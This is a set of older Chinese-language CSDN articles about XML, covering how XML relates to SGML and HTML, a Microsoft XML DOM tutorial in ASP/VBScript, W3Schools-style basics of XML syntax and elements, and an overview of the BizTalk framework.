早期对XML的概括已导致许多人相信XML仅仅是一种通过增加新标记来扩展HTML的方法。实际上，XML和HTML在标记语言中处于完全不同的层次。HTML是一种标记语言--一套具有标准意义的标准分隔符，可放到文档中以指示文档中特定部分的角色。例如，在一个HTML文档中<H2>和 </H2>之间的任何东西都被理解为一个第二级文档标题。

标记语言

对标记语言的经验只局限于Web的人们经常惊讶地得知HTML只是许许多多标准标记语言中的一种，这些语言在特定行业内已被开发多年。例如，航空业有一种飞机维护手册的标记语言，称为ATA-2100，半导体行业有一种用于电路数据的标记语言，称为PCIS，而计算机行业有一种用于软件文档的标记语言，称为DocBook。

这些标记语言中有些比HTML使用得更久，其中许多面向的是要解决的问题不同的方面。例如，考虑这段HTML：

<H2>Second-level heading</H2>

这是一段很可能属于上面标题的文本。</P>

一段类似的DocBook可能看起来象这样：

<SECT2>

<TITLE>二级标题</TITLE>

<PARA>这是一段肯定属于上面标题的文本。

我们知道这一点是因为它们都包含在同一个SECT2元素内。

</PARA>

</SECT2>

虽然这些不同的标记语言有它们的不同之处，所有这些，包括HTML，在三方面都是类似的。

l 每一个都定义了一套有标准化含义和标准化使用规则的标准标记--换句话说，一个标准化的语法。

l 每一个都设计为对某一特定类型的文档或数据工作得最好。

l 都使用有12年历史的国际文本处理标准SGML定义它们的标准标记集和语法。

所有这些语言看起来也相似，因为它们都使用熟悉的尖括号，继承自SGML的具体引用句法。

SGML层

根据上面的描述，应该很清楚SGML本身属于一个不同于任何用SGML定义的个别标记语言的概念层，SGML和特定标记语言的区别经常被总结为SGML是一种元语言而不是一种语言。这是一个很不精确的概括。SGML不象真正的元语言那样抽象，如巴克斯/纳尔范式（BNF），它是用于定义程序设计语言的。不过，称SGML为元语言确实使人抓住了关键：SGML不是一种特定的标记语言；它是一种定义标记语言的语言。

理解XML的关键因素是它属于SGML层，而不是HTML层。XML是SGML的一种简化形式，而不是HTML的一种扩展形式。XML和SGML的区别是XML的设计者去除了许多SGML的高级特性，这些特性使得难以在一个Web浏览器中实现一个SGML的完全解析器。

但是基本思想是一样的：XML是一种允许创建无限种不同用途的不同标记语言的技术。XML的关键--和它变得如此普及的原因--是所有可用它定义的不同的特殊用途语言都能被一个标准化的处理程序解析，这一程序小得可以内嵌入每一个Web浏览器中。

不理解这一区别的人们往往得出一个结论，认为一个对XML敏感的应用将允许他们简单地在他们的HTML文档中到处撒上新的标记。试图用这种方式"扩展"HTML将使我们已得到的一团糟更加混乱。

神话3：XML可以自己驱动Web浏览器

记住HTML概念是一种包含相对小标准标记集的标记语言，与一些多少标准化的行为相关。XML概念是一个无限大的可能标记的集合，相关的行为根本没有标准。行为的规范必须来自其它某个地方。在发布时，这通常是一个样式表，但是在其它领域可以象JavaBeans一样柔性，或者象一种行业标准协议一样专门，程序员在其上编写标准化应用。

句法不是语义

XML支持者将这一点总结为XML定义句法而不是语义。一些理论家则反对说这一简单化的表述忽视了XML句法对象和构成它们所表示的XML数据（如元素和属性）的语义联系。然而，"句法而非语义"这一口号试图强调的更多，更简单：不像HTML标记，XML标记没有预定义的含义。意义或行为必须由以程序的运行条件或者脚本或者用样式表的声明条件甚至古老而好用的普通文本提供。

当预期的XML用户可怜地询问XML如何在他们的Web浏览器上显示时，关于这一点的混淆就很明显了。回答是它并不显示--至少不是靠它自己。

要在一个浏览器内仿效现在对HTML所做的，你必须单独提供HTML作为一个整体但是难以管理的整体所提供的：你必须提供一个文档的内容（在XML中表示）和对它的处理，而这必须用程序定义（用脚本）或者声明它（用样式表）。

样式表

当前缺乏一种既使对于XML也足够强大同时又易于使用的样式表语言，这阻止了XML作为Web文档的普遍使用。为HTML开发的样式表语言层叠样式表（CSS）可用于为XML文档应用样式，但它不具备基于XML发布通常所需的转换和生成结构（例如目录）的能力。

文档样式语义和规范语言（The Document Style Semantics and Specification Language）--为SGML设计的ISO样式表语言--具有高级发布项目所需的功能。但是DSSSL（与"whistle"同韵）有一个基于模式（Scheme）程序设计语言的句法，许多人会发现很难学习。它也缺乏一个丰富的声明层，这使得几乎不可能保证独立开发的样式表编辑器能互操作。

这正是扩展样式语言（XSL）的切入点。作为一开始的XML大计划的一部分，XSL是一种新的语言，将结合DSSSL的功能和XML的简单性以及层叠样式表已建立的"样式属性"术语。1998年1月建立的一个W3C XSL工作组正忙于定义这一使基于XML的Web发布成为可能的语言。

虽然一个最终的XSL规范还需要几乎一年时间，第一个XSL工作草案现在已经在W3C Web网站上发布了，网址是http://www.w3.org/TR/WD-xsl。随着它的进入新世纪，这一初期规范值得任何想进行电子发布的人审慎关注。

神话4：XML只是针对数据的

由于我们还没有一个足够强大的样式表语言以使XML说明它作为一种发布方法的优越性，第一批XML应用是基于它自己能做的事情的：传输结构化数据。

一个单一的、可被人阅读的句法

通过串行排列任何种类的结构化数据--包括相关数据--以一种使其能用简单、随处可见的标准化工具处理和显示的方式，XML给我们提供了一个单一的、人可阅读的句法。一个标准的、易于处理的串行数据格式蕴涵的更大意义是难以想象的，但是它们显然将对电子商务有巨大的影响。另外，看来很清楚，电子商务将最终在一般意义上成为商务的同义词。

XML之于数据正如Java之于程序，将使数据与平台和厂商无关。这一能力正在推动一波XML中间件应用，1999年初将开始随处可见。然而，XML支持数据和元数据交换的能力不应使我们的注意力从XML最初的设计目的上转移。XML的设计者考虑的不仅仅是一个数据的传输层，而且是一个通用的媒体无关的发布格式，这将支持使用每一种语言的所有技术水平的用户。

媒体无关的发布

媒体无关的发布实际上是一个比数据交换要难的多的问题。事实上，可以说一般意义上的发布的需求是数据交换需求的超集。XSL的到来将使通用的发布解决方案成为可能，其后果还很少有人认识到。

理解XML革命性潜力的关键在于它只是一个更宏伟图景的一部分。XML本身可以提供标准化的数据库和电子表格的交换格式。这很好。但是XML和XSL在一起也可以取代现有的字处理和桌面出版格式。它实际上可以给我们一个单一的、完全国际化的格式，具有几乎无限的打印和在线发布的能力，在所有产品和所有平台上都完全能互操作。这一点所意味的远远超越了数据交换和Web。

标准化发布对用户意味着什么

XML和XSL的组合可能比今天的HTML要复杂和难以处理的多，所以它最初将由一些手工处理大而专业化的出版应用的专家使用。这些应用将要求最高程度的自动化和媒体无关性--报纸，工商行名录，百科全书，产品目录，电视节目表，等等。

只有当普通字处理和桌面出版程序开始用XML和XSL的组合而不是专有格式来存储文件时，标准化的处理才会开始从这一专家的专业化群体向外扩展。这不是一个技术问题，而是一个经济问题，因为出版工具的大厂商在历史上依赖于专有格式以限制他们的用户。只有当普通用户开始意识到标准化、开放的格式的益处，并且开始要求对其的支持时，厂商才会向其转变。

一个标准化的数据和表达格式的好处是无法抵御的。它们包括：

l 应用和平台间内容和样式的完全互操作性；

l 内容创建者脱离厂商对生产工具的控制；

l 用户选择他们自己对内容查看方式的自由。

l 容易创建强有力的处理大规模内容的工具；

l 独立软件开发商的一个公平竞争的场地；和

l 所有媒体上的真正国际化发布。

我相信用户对这些好处的意识将最终迫使厂商支持标准化方法，正如用户对访问因特网的需求迫使厂商支持Web一样。

作为其后果，许多种类的桌面软件应用生产者和消费者之间的关系将重新建立，这将被证明为对我们大家都有巨大的好处。这将意味着少数大公司对市场的控制的终结，另外，可能更重要的是，少数大国对市场的控制的终结。 结果将是更好的产品和人类之间更好的通讯。


csdn_使用XML DOM生成XML(1)

  使用XML DOM生成XML(1)
作者： Scott John
<--编者按：随着 XML 在网络开发中的应用的不断深入，该语言的复杂度在增加，你可以在本文对XML的新对象库XML DOM的介绍中体会到这一点-->

正如你所了解的，XML是个功能强大的新型数据结构，它可以让你把网页的内容和表现形式分开。尽管如此，目前，我们的文章大多仅介绍了直接生成XML标记得的法。我们在大多数时候，都是手工编写必需的标记和数据的。

幸运的是，微软提供了XML DOM(XML文档对象模型)，这是另外一种编写XML代码的方法。该对象库可以让你构建XML语法树，并提供了更有效的方法来创建XML文档。例如，你可用XML DOM搜集来自不同位置的数据，或者根据不同种类的数据源来创建XML文档。本文中，我们将介绍几种类型的库的功能，并且演示如何在ASP中使用它。

了解XML文档对象模型
XML DOM包含四个主要对象：XMLDOMDocument， XMLDOMNode，XMLDOMNodeList和XMLDOMNamedNodeMap。同任何其它对象模型一样，每个XML DOM对象有其自己的特性和方法。本文，我们将主要介绍XMLDOMDocument 和XMLDOMNode 对象。

XMLDOMDocument对象
XMLDOMDocument对象代表XML DOM层次中的顶层结点(请不要同XML文档中的根结点混淆)。它是建立和操纵XML结构的基础。为了创建XMLDOMDocument对象变量，请使用如下的CreateObject 命令：

Set objXMLdoc = _

CreateObject("Microsoft.XMLDOM")

表A:列出了在创建了XMLDOMDocument的对象后，我们可以得到的一些特性和方法。

方法 描述
CreateAttribute
创建新属性

CreateCDATASection
创建DATA 部分结点

CreateComment
创建注释结点

CreateElement
使用指定名称创建元素结点

CreateEntityReference
创建实体参考对象

CreateNode
创建结点

CreateTextNode
创建文本结点

Load
载入已有的 XML 文档

Save
保存XML 文档

特性 描述
PreserveWhiteSpace
指示是否在XML文档中显示空格t

ResolveExternals
解析名域，DTD和外部实体索引

ValidateOnParse
指示解析器是否对文档进行合法性检查

DocumentElement
返回XML 文档的根结点

设置运行选项
正如你在表A中所看到的，只有创建了XMLDOMDocument 对象，你才可创建单个的XML结点。在做这个工作之前，你还可以设置XML文档的解析运行条件，如果你打算直接生成XML文档到浏览器时，就很有用处。

运行选项可以让你设置异步下载，提供文档合法性检查和保留空格，以及解析外部索引。为了防止异步下载，可设置asynch特性为False。如果打算用一行新字符代替空格，可设置PreserveWhiteSpace 特性为True。 ResolveExternals特性可防止解析引擎解析外部实体索引，文档类型定义或者外部名域。


csdn_使用XML DOM生成XML(2)

  使用XML DOM生成XML(2)
作者： Scott John
创建结点

XMLDOMDocument 对象提供了创建结点或者XMLDOMNode的两种方法： CreateElement 和CreateNode。选择其中哪一种方法，取决于你需要结点提供信息量的多少。当你使用CreateElement 方法时，只要提供结点名称，如

Set objXMLroot = objXMLdoc _

.CreateElement("ORDER_STATUS")

当使用CreateNode 方法时，你要指定结点类型，结点名称和相关名域。(XML名域可以让你择同一文档中用同一名称创建多个XML元素) 例如，如果要使用CreateNode方法，你可写出如下代码：

Set objXMLroot = objXMLdoc _

.createNode("element"， _

"ORDER_STATUS"， "Space1")

一旦创建了结点，你须把它添加进XML文档中。这就要用AppendChild 方法，例如，继续上面的例子，你可以写出：

objXMLdoc.AppendChild(objXMLroot)

该语句创建了XML根结点，请见图A在Internet Explorer 5.0中的例子。

图A：用XML DOM 创建XML文档的根结点

除了AppendChild方法外，XMLDOMNode 对象也具有其它三个控制XML结点的方法： ReplaceChild， RemoveChild和InsertBefore


csdn_使用XML DOM生成XML(3)

  使用XML DOM生成XML(3)
作者： Scott John
对结点的属性赋值
一旦创建了结点，还要对其属性赋值，如独立的标识符，或者特性值。你要用到SetAttribute方法。该方法接收两个参数— 属性名和属性值。例如，下列代码创建了属性名SHIPPING_DATASOURCE 和属性值NORTH_ATLANTIC_SHIPPING：

objXMLroot.SetAttribute _

"SHIPPING_DATASOURCE"， _

"NORTH_ATLANTIC_SHIPPING"

此时，我们生成了图B的XML文档。

图B: SetAttributes方法创建了结点属性

加入子结点
要创建子结点，你可以使用我们前面介绍的CreateElement或者 CreateNode 方法，然后把它们添加到合适的父母结点中。例如，假设，我们要创建称为PUBLISHER_DISCLAIMER的XML结点。为了做到这一点，我们把该结点附加到文档的根结点中，代码如下：

Set objXMLChildTestNode = objXMLdoc _

.createNode("element"， _

"PUBLISHER_DISCLAIMER"， "")

objXMLdoc.DocumentElement _

.appendChild (objXMLChildTestNode

)

注意：我们使用了XMLDOMDocument的 DocumentElement 特性来把新结点添加到XML文档的根结点中，请见图C。

图C：要添加子结点，你只需把它们添加到父母结点中。

给结点赋值
一旦创建完所有的结点，你将需要给它们赋值。那是XML最关键的步骤。要做到这点，你同平常一样，创建一个结点，然后对该结点的TEXT属性赋值。例如，下列代码创建了称为PUBLISHED_DATE的XML结点，然后赋值如下：

Set objPublishDate = objXMLdoc _

.CreateNode("element"， _

"PUBLISHED_DATE"， "")

dShippedDate = FormatDateTime(Date， 2)

objPublishDate.Text = dShippedDate

objXMLChildTestNode.appendChild _

(objPublishDate)

结果请见图D。

图D: 我们对把当前日期赋给PUBLISHED_DATE的Text属性，然后把该结点添加到PUBLISHER_DISCLAIMER元素中。

我们目前已经介绍了若干XML DOM的基本知识，下面将介绍一下如何在ASP下使用XML DOM。


csdn_使用XML DOM生成XML(4)

  使用XML DOM生成XML(4)
作者： Scott John
在ASP下使用XML DOM
要生成前面例子中的XML文档，我们可以用ASP来生成。我们将创建一个简单的ASP页，让你只需点击按钮，就可创建XML文档。为了完成这件事情，我们用了带有Windows脚本构件的ASP网页，由它来生成XML。我们将用Windows Script Component Wizard来生成初始代码。(如果你没有wizard，可到微软的脚本栏目中去寻找。)

创建脚本组件
开始时运行Windows Script Component Wizard。在第一个窗口中，输入XMLDom 作为组件名称，然后单击Next。确信VBScript和支持Active Server Pages选项在第二个窗口中被选中，然后单击Next两次。在第四个窗口，输入CreateXML，作为我们的脚本对象的唯一方法。再单击Next 两次，最后再点击Finish。完成了这些事情后， wizard 就创建了组件，并把组件添加到你的桌面上。

此时，我们获得了组件的基本结构，但它并不包含任何功能，所以还要添加功能。要做到这点，双击位于桌面的XMLDom 的快捷键。完成后，Windows 在记事本上显示出初始代码。注意组件本身是个XML文档。要添加CreateXML 代码，我们将创建一个子过程来代替函数。所以，删除下面的行

function CreateXML()

CreateXML = "Temporary Value"

end function

在该处输入列表A中的代码


csdn_使用XML DOM生成XML(5)

  使用XML DOM生成XML(5)
作者： Scott John
构造ASP网页

为了创建ASP网页，打开你所熟悉的HTML 编辑器，输入列表B中的代码。确保 Window.Navigate行指向合适的文件夹。要了解其是如何工作的，在Internet Explorer中打开该页。一旦打开后，就会出现一个信息，告诉你XML已经创建了成功，并出现一个 Show 按钮，点击该按钮，IE显示出图E中的XML文档。

图E：我们使用了几种不同的XML DOM 方法来创建完整的XML 文档

XML DOM 库中更多内容

正如你在样本代码中所见，XML DOM 包含了比我们此处所介绍的更多的方法和属性。要查找完整的XML文档对象模型，请访问有关微软网站。同时，如何你想了解XML DOM以及XSL和ASP的高级用法的例子，请访问www.i3solutions.com/onlinedemos.asp。

结论
XML正在迅猛发展，同以往的以文本为中心的网页相比，XML的数据模型结构提供了更多的功能， XML文档对象模型通过编程化的方式，可以为你创建XML文档。本文中，我们对XML DOM作了入门性的介绍，并且演示了如何在Active Server Pages中使用XML DOM。


csdn_亲密接触xml(1)---XML简介

  亲密接触xml(1)---XML简介
作者： 青苹果工作室
          目录

XML简介：什么是XML，它与HTML有什么不同。
如何使用XML：使用XML的几种方式。
XML语法：XML的简单但非常严格的语法规则。
XML元素：XML元素、关系、内容及命名规则。
XML属性：XML属性是如何用来描述元素以及提供元素的附加信息的。
XML确认：一个格式良好的XML与一个有效的XML之间的主要区别，一个DTD是如何用来定义XML文档的。
XML在Netscape和Explorer中的支持情况：关于XML在这两个最著名的浏览器上的支持情况。
在Internet Explorer 上查看XML：如何用Internet Explorer 来查看一个XML文件。
用CSS显示XML：如何用Internet Explorer和CSS 显示一个XML 文件。
用XSL显示XML:如何用Internet Explorer和XSL 显示一个XML 文件。
将XML嵌入HTML中：如何将XML嵌入HTML文档中。
Microsoft XML 分解器：如何用Microsoft XML分解器打开和操作XML文档。
真实环境中的XML ：看看XML的实际使用情况。

     高级XML

XML名空间：如何避免元素名与使用XML名空间冲突。
XML CDATA：如何告诉一个XML分解器不要分解文本。
XML编码：如何对你的XML文档进行编码。
XML服务器：如何在服务器上生成XML。
XML应用程序：如何用IE 5到达一个XML文件并创建一个完整的XML应用程序。
XML HTTP 请求：如何用HTTP从一个服务器请求XML。
HTML和XML的行为：如何用新的CSS行为选择器创建动态内容。
XML技术：对于理解和开发XML应用程序很重要的XML技术。
     XML是用来描述数据的，并集中解决数据是什么的问题。 HXML是用来显示数据的，并集中解决数据是什么样的问题。
在你继续阅读之前，应该对以下内容有一个初步的了解：

WWW、HTML以及创建Web 页面的基础知识。
Web 脚本语言，例如 JavaScript 或 VBScript 。
     如果你想在阅读XML之前先学习这些内容，你可以在 W3Schools' Home Page 找到所需要的资料。

     何为XML?

XML 代表可扩展的标记语言。
XML和HTML一样，是一种标记语言。
XML是用来描述数据的。
XML标记在 XML中不是预先确定的。你必须定义你自己的标记。
XML用一个DTD (文档类型定义) 来描述数据。
带有一个DTD的XML 是自描述的。
     XML和HTML的主要区别

     XML的本意是用来携带数据的。XML并不是HTML的替代品, XML 和 HTML有不同的用途：

XML 的本意是描述数据，并集中解决数据是什么的问题。HTML 的本意是显示数据，并集中解决数据是什么样的问题。
HTML 是关于显示信息的，XML 是关于描述信息的。


csdn_亲密接触xml(2)---XML不做任何事情

  亲密接触xml(2)---XML不做任何事情
作者： 青苹果工作室
XML不做任何事情
XML并不是设计来做什么事情的。这也许不太容易理解，但是XML不做任何事情。XML并不是用来做什么事情的。创建XML的目的就是把它作为一个构造、存储、发送信息的方式。

     下面的例子是Jani给Tove 的便条，存储为XML：

     < note>
     < to>Tove< /to>
     < from>Jani< /from>
     < heading>Reminder< /heading>
     < body>Don't forget me this weekend!< /body>
     < /note>

     这个便条有一个头和一个信息体。它还有一个发送人和接收人信息。但是这个XML文档还是什么都没有做。它只是将纯粹的信息包装在XML标记之间。要发送、接收或显示它，还必须写一段软件。

     XML免费且可扩展

     XML的标记不是预先设定好的，你必须自己发明XML标记。用来建立HTML文档和HTML文档结构的标记是预先设定的。HTML文档的作者只能使用那些在HTML标准中定义好的标记（如< p> 和< h1>)。而XML则允许作者定义自己的标记和自己的文档结构。

     上面例子中的标记（如< to>和< from>），没有在任何XML标准中进行定义。这些标记是XML 文档的作者
自己发明的。

     XML是对HTML的补充

     XML 并不是HTML 的替代品。理解这一点很重要。在未来的Web开发中，很有可能将XML用于描述数据，而将HTML将同一数据进行格式化和显示。

     我对XML的最好描述是：XML是一个交叉平台的，独立于硬件和软件的发送信息工具。

     XML在未来的Web开发中

     XML将无处不在。从它诞生开始，我们就参与到了XML的开发中。我们惊奇地看到XML标准发展得非常迅速，很多软件销售商都迅速地采纳了这个标准。

     我们相信XML在未来的Web开发中将占据重要的地位，就象HTML曾经是Web开发的基础一样，XML将成为数据操作和数据传输的最常用工具。

     如何使用XML？

     要知道设计XML的本意是用来存储、传送和交换数据的，而不是用来显示数据的。这一点非常重要。

     XML能将数据从HTML中分隔出来

     用XML可以将你的数据存储在HTML之外。当HTML用来显示数据时，数据就存储在HTML内部。而用XML，就可以将数据存储在单独的XML文件中。这样你就可以将HTML集中用于数据布局和显示，并且可以肯定那些对数据的内部修改不会要求对HTML进行任何修改。

     XML数据可以作为“数据岛”存储在HTML页面内部。你仍然可以将HTML专门用于格式化和显示数据。

     XML用来交换数据

     用XML可以将数据在不兼容的系统之间进行交换。在现实中，计算机系统和数据库所包含的数据格式不兼容。对于开发人员来说，最浪费时间的就是在Internet上的这些系统之间进行数据交换。

     将数据转换成XML可以大大地降低这种复杂性，所创建的数据可以被多种不同类型的应用程序阅读。


csdn_亲密接触xml(2)--- XML 和 B2B

  亲密接触xml(2)--- XML 和 B2B
作者： 青苹果工作室
用XML，可以在Internet上交换金融信息。在不远的将来，我们就有望看到XML 和 B2B 的使用。XML即将成为在Internet上的企业之间交换金融信息的主要语言。大量有趣的B2B应用程序正在开发之中。

     XML可以用来共享数据

     用XML，纯文本文件可以用来共享数据。由于XML数据是用纯文本格式存储的，因此XML提供了一种独立于软件和硬件的共享数据方式。这样，创建不同的应用程序都能够使用的数据就更容易了。并且，将系统扩展或升级到一个新的操作系统、服务器、应用程序和新的浏览器也更容易了。

     XML可以用来存储数据

     有了XML，就可以用纯文本文件来存储数据。XML可以用来在文件或数据库中存储数据。可以编写应用程序来存储数据和恢复存储的数据，可以用普通的应用程序来显示数据。

     XML可以使你的数据更有用

     有了XML，更多的用户可以使用你的数据。由于XML对于硬件、软件、应用程序是独立的，因此你可以使标准HTML浏览器以外的其它应用程序也能使用你的数据。 其它客户和浏览器可以将你的XML文件作为数据源来访问，就象它们访问数据库一样。你的数据对于所有的“阅读机器”（代理）都可用，它还可使你的数据更易于被盲人或残疾人使用。

     XML可以用来创建新的语言

     XML 是WAP 和 WML之母。无线标记语言（WML）是用来标记移动电话这样的手提设备Internet 应用程序的，是用XML编写的。 有关WML 的信息可阅读 W3Schools' WML School。

     如果开发人员有眼光的话

     如果他们有眼光的话，未来所有的应用程序都将用XML来存储数据。 将来的字处理程序、电子表格应用程序和数据库都可以用纯文本格式来阅读彼此的数据，而不需要任何相互转化的工具。我们只能盼望Microsoft 和其它软件商都能够赞同这一点。

     XML的语法

     XML的语法规则非常简单也非常严格，并且这些规则既易学也易用。因此，创建一个能够阅读和操作XML的应用程序非常简单。

     一个XML文档样本

     XML文档使用一种自描述的简单语法。

     < ?xml version="1.0"?>
     < note>
     < to>Tove< /to>
     < from>Jani< /from>
     < heading>Reminder< /heading>
     < body>Don't forget me this weekend!< /body>
     < /note>

     文档中的第一行--XML声明--定义文档的XML版本。在这里文档遵循的是XML的1.0 版的规定。

     下一行描述了文档的根元素（就好象是说“这个文档是一个便条”）。

     < note>

     下面4行描述了根元素的4个子元素(to, from, heading, and body):

     < to>Tove< /to>
     < from>Jani< /from>
     < heading>Reminder< /heading>
     < body>Don't forget me this weekend!< /body>

     最后一行定义了根元素的结束:

     < /note>

     你能发现这个XML文档的例子包含的就是Jani给Tove 的便条吗？你同意“XML是相当自描述的”这种说法吗？

     所有的XML元素都必须要有一个结束标记

     在XML中，省略结束标记是非法的。 在HTML中有些元素不需要有结束标记。以下代码在HTML中是合法的：

     < p>This is a paragraph
     < p>This is another paragraph


csdn_亲密接触xml(4)--- XML对大小写是敏感的

  亲密接触xml(4)--- XML对大小写是敏感的
作者： 青苹果工作室
XML对大小写是敏感的
而在XML中，所有的元素都必须要有一个结束标记，如:

     < p>This is a paragraph< /p>
     < p>This is another paragraph< /p>

     注意：从前面的例子中你可能已经注意到了，XML声明没有结束标记。这并不是一个错误。因为声明并不是XML文档的一部分。它不是一个XML元素，因此它不能有结束标记。

     XML对大小写是敏感的，这一点不象HTML。在XML中，标记< Letter> 和标记 < letter> 是不一样的。 因此，打开和结束标记的大小写应该写成相同的:

     < Message>This is incorrect< /message>
     < message>This is correct< /message>

     所有的XML元素都必须合理嵌套

     如果标记的嵌套不合理，在XML中是没有意义的。 在HTML中，有些元素可以被不适当地彼此嵌套，例如：

     < b>< i>This text is bold and italic< /b>< /i>

     而在XML ，所有元素都必须彼此合理地嵌套，例如:

     < b>< i>This text is bold and italic< /i>< /b>

     所有的XML文档都必须要有一个根标记

     在一个XML文档中的第一个标记就是根标记。 所有的XML文档都必须包含一个标记对来定义根元素。所有的其他元素都必须嵌套到根元素里面。 所有的元素都可以有子元素。子元素都必须正确地嵌套到母元素中。

     < root>
     < child>
     < subchild>.....< /subchild>
     < /child>
     < /root>

     必须将属性值引起来

     在XML中，在属性值周围省略引号是非法的。 同HTML一样，XML元素的名/值对中可以有属性。在XML中，属性值必须引起来。看看下面的两个XML文档。 第一个是正确的，第二个是错误的：

     < ?xml version="1.0"?>
     < note date=12/11/99>
     < to>Tove< /to>
     < from>Jani< /from>
     < heading>Reminder< /heading>
     < body>Don't forget me this weekend!< /body>
     < /note>

     < ?xml version="1.0"?>
     < note date="12/11/99">
     < to>Tove< /to>
     < from>Jani< /from>
     < heading>Reminder< /heading>
     < body>Don't forget me this weekend!< /body>
     < /note>

     文档中的第一个错误是在note 元素中的数据属性没有引起来。 这样是正确的: date="12/11/99"。 这样是错误的: date=12/11/99。

     在XML中，空格是保留的

     在XML中，文档的空格不能被删除。 这一点不象HTML。在HTML中，这样一句话: Hello my name is Tove, 将被显示成这样： Hello my name is Tove, 因为HTML 把空格除去了。

     在XML中, CR / LF被转换成 LF

     在XML中, 一个新行通常被存储为 LF。 你知道什么是打字机吗？打字机是上个世纪使用的一种打字机器设备。 当你在打字机上打了一行以后，你要手动回车到左边的空白，然后手动进纸。 在Windows 应用程序中，文本中的新一行通常存储为CR LF 字符对。在Unix 应用程序中，新的一行通常被存储为一个LF字符。而有些应用程序只用一个CR字符来存储新行。

     XML没有什么特别的

     XML没有什么特别的。只不过是纯文本文件加上一些包含在括号中XML标记。 能处理纯文本的软件也能处理XML。在一个简单的文本编辑器中，XML标记是可视的，不需要什么特别处理。但是在应用程序中，必须要特别处理XML标记。根据应用程序的性质，标记也许可视也许不可视，或者有其功能上的意义。


csdn_亲密接触XML(5)---XML元素

  亲密接触XML(5)---XML元素
作者： 青苹果工作室
XML元素
XML元素是可扩展的，彼此之间有关联。 XML元素的命名规则很简单。

     XML元素是可扩展的

     XML文档可以进行扩展以携带更多的信息。 请看下面的XML NOTE 例子：

     < note>
     < to>Tove< /to>
     < from>Jani< /from>
     < body>Don't forget me this weekend!< /body>
     < /note>

     想象一下，我们创建了一个应用程序，它把 < to>、< from>和< body>元素从 XML 文档中提取出来，生成了这样的输出:

     MESSAGE

     To: Tove
     From: Jani

     Don't forget me this weekend!

     假如这个XML文档的作者又向其中增加了一些额外信息：

     < note>
     < date>1999-08-01< /date>
     < to>Tove< /to>
     < from>Jani< /from>
     < heading>Reminder< /heading>
     < body>Don't forget me this weekend!< /body>
     < /note>

     那么这个应用程序会不会出故障呢？ 不会的，应用程序还是会从XML文档中找到< to>、< from>和< body> 元素而生成同样的输出。 XML文档是可以扩展的。

     XML元素是彼此关联的

     它们之间的关系就象父母与孩子之间的关系一样。要理解XML的术语，你就必须知道XML元素的命名和XML元素的描述之间的关系。 下面是一本书的描述：

     Book Title: My First XML

Chapter 1: Introduction to XML

What is HTML
What is XML
Chapter 2: XML Syntax

Elements must have a closing tag
Elements must be correctly nested

     下面的XML 文档对这本书进行描述:

     < book>
     < title>My First XML< /title>
     < prod id="33-657" media="paper">< /prod>
     < chapter>Introduction to XML
     < para>What is HTML< /para>
     < para>What is XML< /para>
     < /chapter>

     < chapter>XML Syntax
     < para>Elements must have a closing tag< /para>
     < para>Elements must be properly nested< /para>
     < /chapter>

     < /book>

     在这里，Book（书）是根元素，Title 和 chapter（标题和章）是 book的子元素。 Book 是title和chapter 的母元素。 Title 和 chapter 则是兄弟元素 (或姐妹元素)，因为它们的父母相同。


csdn_BizTalk框架概述

  BizTalk框架概述
作者： 孙一中
Microsoft? BizTalk? 框架是用于应用集成和电子商务的XML框架. 它包括一个设计框架来实现XML 大纲（schema） 和一套在应用程序间传递信息之用的XML标签. Microsoft 公司以及其它软件企业和工业标准实体将通过BizTalk 框架以统一的方式来产生XML.
BizTalk框架本身并不是标准，XML才是标准. BizTalk框架的目标是推动XML的迅速普及和应用.
BizTalk框架大纲 以XML形式表达的商业文档和消息 将在BizTalk.Org网站注册和存档. 任何个人或组织都能下载框架用以具体实现或者向网站递交XML 大纲. 只要该大纲通过了认证测试，它们就成为了有效的BizTalk框架大纲. BizTalk.Org网站将提供自动递交和认证处理. 一旦大纲为公共的使用而公布，个人或组织在其应用中都可以从BizTalk.Org 网站免费使用XML大纲.
商家要在贸易伙伴间进行专用，可以自由选择在BizTalk.Org 网站中的安全区域发布其大纲。由软件企业、终端用户和业界标准实体组成的领导委员会将指导BizTalk.Org网站的组织和管理.
BizTalk框架大纲将基于W3C的XML 大纲(XML Schema)标准，这些标准已正式通过.

优点

BizTalk框架具有以下优点:

XML统一实现的途径

许多企业对XML表现了浓厚的兴趣.XML是如此的灵活，人们对它有着近乎于ACSII字符的浓厚兴趣.XML使改进成为可能但缺乏统一的框架就难以实现. BizTalk框架实现了一套规则可能使大量用户可以以通用的方式使用XML. 而且, 由于各公司运用XML逐渐由数据建模转移到启动自动商务处理, BizTalk框架消息元素定义了XML元素、属性和标签(tag)的核心集,它们允许发展和丰富被优化以理解BizTalk框架的消息传递技术.这之所以重要是因为XML成为了结合各系统的在线交易的基础，不必去寻求通用的API或实现的平台.

大纲间更便捷的映射

通过将表现商业交换的过程以一致和可扩展的方式形式化，BizTalk框架使得独立软件供应商(ISV)和开发商更方便地实现不同商业过程间的映射, 采用诸如XML这样开放的标准能使电子交换在广泛的工业界被更快地采纳.

服务于软件供应商的设计目标

以一致的形式建立大量的大纲, BizTalk框架为应用工具和基础软件供应商提供了明确的设计目标，帮助建立下一代电子商务和应用集成产品.

服务于标准实体的框架

BizTalk框架为从现存的业界交换标准集合转移到XML提供了平台.特别在EDI领域作用显著.

BizTalk 大纲标准库

BizTalk框架的网站将成为工业团体和开发商发布其大纲的交互的场所.基于该发布组织的规定，网站允许公共和私有的内容发表. 一旦BizTalk框架大纲被接受并发布, 标准库将为BizTalk框架的采纳和修改提供版本化和专业化支持. 标准库将支持对大纲的动态检测, 处理和可视化与BizTalk框架提供的任何版本大纲的映射.

展示开发XML互换的最佳实践 比起系统编程和运用XML，许多参与商业交换标准化的组织更善于建立商业过程的模型.这些组织可以来BizTalk框架网站探询实现他们自己的大纲的最佳实践或寻找已有的适合其应用的大纲.

微软自然将支持BizTalk框架，也将会在BizTalk框架网站中发布大纲以作公用.其它支持BizTalk框架的软件供应商也将作同样的承诺.

BizTalk框架结构原则

BizTalk框架是为推动基于XML藉由数据交换标准的应用集成和电子商务而设计的.应用程序被假设为明晰的实体(entities),应用集成采用松散连接和消息传递的途径.要在两个应用程序间交换由BizTalk框架格式化的XML消息，不需要COM、编程语言、网络协议、数据库或操作系统. 两程序仅仅需要能格式化、传输、接收和使用标准化过的XML消息.

